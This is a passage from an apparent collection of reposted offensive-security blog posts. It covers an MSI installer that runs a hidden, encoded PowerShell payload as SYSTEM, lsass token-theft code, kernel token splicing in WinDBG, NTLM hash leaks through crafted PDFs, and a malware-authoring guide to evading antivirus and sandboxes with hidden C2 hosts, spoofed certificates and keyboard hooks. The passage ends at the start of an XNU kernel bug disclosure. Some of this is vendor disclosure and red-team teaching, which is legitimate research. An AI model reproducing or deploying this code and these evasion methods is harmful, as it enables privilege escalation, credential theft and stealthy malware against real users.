QByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
</Property>
<CustomAction Id=«SystemShell« Execute=«deferred« Directory=«TARGETDIR« ExeCommand=[cmdline] Return=«ignore« Impersonate=«no«/>
<CustomAction Id=«FailInstall« Execute=«deferred« Script=«vbscript« Return=«check«>
invalid vbs to fail install
</CustomAction>
<InstallExecuteSequence>
<Custom Action=«SystemShell« After=«InstallInitialize«></Custom>
<Custom Action=«FailInstall« Before=«InstallFiles«></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
view rawmsigen.wix hosted with ❤ by GitHub

A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:

<Property Id="cmdline">powershell...</Property>
<CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

This custom action is responsible for executing our provided cmdline as SYSTEM (note the Property tag, which is a nice way to get around the length limitation of the ExeCommandattribute for long Powershell commands).

Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:

<CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
  invalid vbs to fail install
</CustomAction>

Finally, we have our InstallExecuteSequence tag, which is responsible for executing our custom actions in order:

<InstallExecuteSequence>
  <Custom Action="SystemShell" After="InstallInitialize"></Custom>
  <Custom Action="FailInstall" Before="InstallFiles"></Custom>
</InstallExecuteSequence>

So, when executed:

  1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
  2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:

candle.exe msigen.wix
light.exe msigen.wixobj

Finally, execute the MSI file to execute our payload as SYSTEM:

shell3

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method

This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».

Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:

How this technique works is by leveraging the CreateProcess Win32 API call, and using its support for assigning the parent of a newly spawned process via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.

If we review the documentation of this setting, we see the following:

PROC_THREAT_ATTRIBUTE_PARENT_PROCESS

So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.

We can create a new process and set the parent with the following code:

int pid;
HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;

// Set the PID to a SYSTEM process PID
pid = 555;

EnableDebugPriv();

// Open the process which we will inherit the handle from
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == 0) {
	printf("Error opening PID %d\n", pid);
	return 2;
}

// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
	GetProcessHeap(),
	0,
	size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Finally, create the process
ret = CreateProcessA(
	"C:\\Windows\\system32\\cmd.exe", 
	NULL,
	NULL, 
	NULL, 
	true, 
	EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 
	NULL,
	NULL, 
	reinterpret_cast<LPSTARTUPINFOA>(&si), 
	&pi
);

if (ret == false) {
	printf("Error creating new process (%d)\n", GetLastError());
	return 3;
}

When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:

parentsystem2

The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:

New-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe)

Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)

Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the !process command:

!process 0 0 cmd.exe

Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:

PROCESS fffffa8002edd580
    SessionId: 1  Cid: 0858    Peb: 7fffffd4000  ParentCid: 0578
    DirBase: 09d37000  ObjectTable: fffff8a0012b8ca0  HandleCount:  21.
    Image: cmd.exe

For our purpose, we are interested in the provided PROCESS address (in this example fffffa8002edd580), which is actually a pointer to an EPROCESS structure. The EPROCESSstructure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.

Amongst the many fields in this structure is a pointer to the process’s access token, defined in a TOKEN structure. To view the contents of the token, we first must calculate the TOKEN address. On Windows 7 x64, the process TOKEN is located at offset 0x208, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:

kd> dq fffffa8002edd580+0x208 L1

This returns the token address as follows:

fffffa80`02edd788  fffff8a0`00d76c51

As the token address is referenced within a EX_FAST_REF structure, we must AND the value to gain the true pointer address:

kd> ? fffff8a0`00d76c51 & ffffffff`fffffff0

Evaluate expression: -8108884136880 = fffff8a0`00d76c50

Which means that our true TOKEN address for cmd.exe is at fffff8a000d76c50. Next we can dump out the TOKEN structure members for our process using the following command:

kd> !token fffff8a0`00d76c50

This gives us an idea of the information held by the process token:

User: S-1-5-21-3262056927-4167910718-262487826-1001
User Groups:
 00 S-1-5-21-3262056927-4167910718-262487826-513
    Attributes - Mandatory Default Enabled
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-32-544
    Attributes - DenyOnly
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled
 04 S-1-5-4
    Attributes - Mandatory Default Enabled
 05 S-1-2-1
    Attributes - Mandatory Default Enabled
 06 S-1-5-11
    Attributes - Mandatory Default Enabled
 07 S-1-5-15
    Attributes - Mandatory Default Enabled
 08 S-1-5-5-0-2917477
    Attributes - Mandatory Default Enabled LogonId
 09 S-1-2-0
    Attributes - Mandatory Default Enabled
 10 S-1-5-64-10
    Attributes - Mandatory Default Enabled
 11 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-3262056927-4167910718-262487826-513
Privs:
 19 0x000000013 SeShutdownPrivilege               Attributes -
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
 25 0x000000019 SeUndockPrivilege                 Attributes -
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
 34 0x000000022 SeTimeZonePrivilege               Attributes -

So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:

kd> !process 0 0 lsass.exe
kd> dq <LSASS_PROCESS_ADDRESS>+0x208 L1
kd> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0
kd> !process 0 0 cmd.exe
kd> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS>

To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges:

NTLM Credentials Theft via PDF Files

( Original text by research.checkpoint.com )

Just a few days after it was reported that malicious actors can exploit a vulnerability in MS outlook using OLE to steal a Windows user’s NTLM hashes, the Check Point research team can also reveal that NTLM hash leaks can also be achieved via PDF files with no user interaction or exploitation.

According to Check Point researchers, rather than exploiting the vulnerability in Microsoft Word files or Outlook’s handling of RTF files, attackers take advantage of a feature that allows embedding remote documents and files inside a PDF file. The attacker can then use this to inject malicious content into a PDF and so when that PDF is opened, the target automatically leaks credentials in the form of NTLM hashes.

PDF Background

A PDF file consists primarily of objects, together with Document structure, File structure, and content streams. There are eight basic types of objects:

  • Boolean values
  • Integers and real numbers
  • Strings
  • Names
  • Arrays
  • Streams
  • The null object
  • Dictionaries

A dictionary object is a table containing pairs of objects, called entries.  The first element of each entry is the key and the second element is the value. The key must be a name, and the value may be any kind of object, including another dictionary. The pages of a document are represented by dictionary objects called page objects.  The page objects consist of several required and optional entries.

Proof of Concept

The /AA entry is an optional entry defining actions to be performed when a page is opened (/O entry) or closed (/C entry).  The /O (/C) entry holds an action dictionary. The action dictionary consists of 3 required entries: /S, /F, and /D:

  • /S entry: Describes the type of action to be performed. The GoTo action changes the view to a specified destination within the document. The action types GoToR, (Go To Remote) and GoToE (Go To Embedded), both vulnerable, jump to destinations in another PDF file.
  • /F entry: Exists in GoToR and GoToE, and has slightly different meanings for each. In both cases it describes the location of the other PDF. Its type is file specification.
  • /D entry: Describes the location to go to within the document.

By injecting a malicious entry (using the fields described above together with his SMB server details via the “/F” key), an attacker can entice arbitrary targets to open the crafted PDF file which then automatically leaks their NTLM hash, challenge, user, host name and domain details.

Figure 1: PoC – Injected GoToE action.

In addition, from the target’s perspective there is no evidence or any security alert of the attacker’s activity, which makes it impossible to notice abnormal behavior.

Figure 2: The crafted PDF file has no evidence of the attacker’s actions.

The NTLM details are leaked through the SMB traffic and sent to the attacker’s server which can be further used to cause various SMB relay attacks.

Figure 3: The Leaked NTLM details after the crafted PDF is opened.

 

Affected Products and Mitigation

Our investigation lead us to conclude that all Windows PDF-viewers are vulnerable to this security flaw and will reveal the NTLM credentials.

Disclosure

The issue was disclosed both to Adobe and Foxit.

Foxit indeed fixed the issue as part of 9.1 release.

Adobe fixed the vulnerability as part of the Adobe Reader version released in May (CVE-2018-4993).

IPS Prevention

Check Point customers are protected by the IPS protection:

Multiple PDF readers NTLMv2 Credential Theft

We would also like to thank our colleagues, Assaf Baharav, Yaron Fruchtmann, and Ido Solomon for their help in this research.

Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code (CVE-2018-4407)

( Original text )

This post is about a heap buffer overflow vulnerability which I found in Apple’s XNU operating system kernel. I have written a proof-of-concept exploit which can reboot any Mac or iOS device on the same network, without any user interaction. Apple have classified this vulnerability as a remote code execution vulnerability in the kernel, because it may be possible to exploit the buffer overflow to execute arbitrary code in the kernel.

The following operating system versions and devices are vulnerable:

  • Apple iOS 11 and earlier: all devices (upgrade to iOS 12)
  • Apple macOS High Sierra, up to and including 10.13.6: all devices (patched in security update 2018-001)
  • Apple macOS Sierra, up to and including 10.12.6: all devices (patched in security update 2018-005)
  • Apple OS X El Capitan and earlier: all devices

I reported the vulnerability in time for Apple to patch the vulnerability for iOS 12 (released on September 17) and macOS Mojave (released on September 24). Both patches were announced retrospectively on October 30.

Severity and Mitigation

The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. To trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required. The attacker only needs to be connected to the same network as the target device. For example, if you are using the free WiFi in a coffee shop then an attacker can join the same WiFi network and send a malicious packet to your device. (If an attacker is on the same network as you, it is easy for them to discover your device’s IP address using nmap.) To make matters worse, the vulnerability is in such a fundamental part of the networking code that anti-virus software will not protect you: I tested the vulnerability on a Mac running McAfee® Endpoint Security for Mac and it made no difference. It also doesn’t matter what software you are running on the device — the malicious packet will still trigger the vulnerability even if you don’t have any ports open.

Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device. I have not attempted to write an exploit which is capable of doing this. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.

I am only aware of two mitigations against this vulnerability:

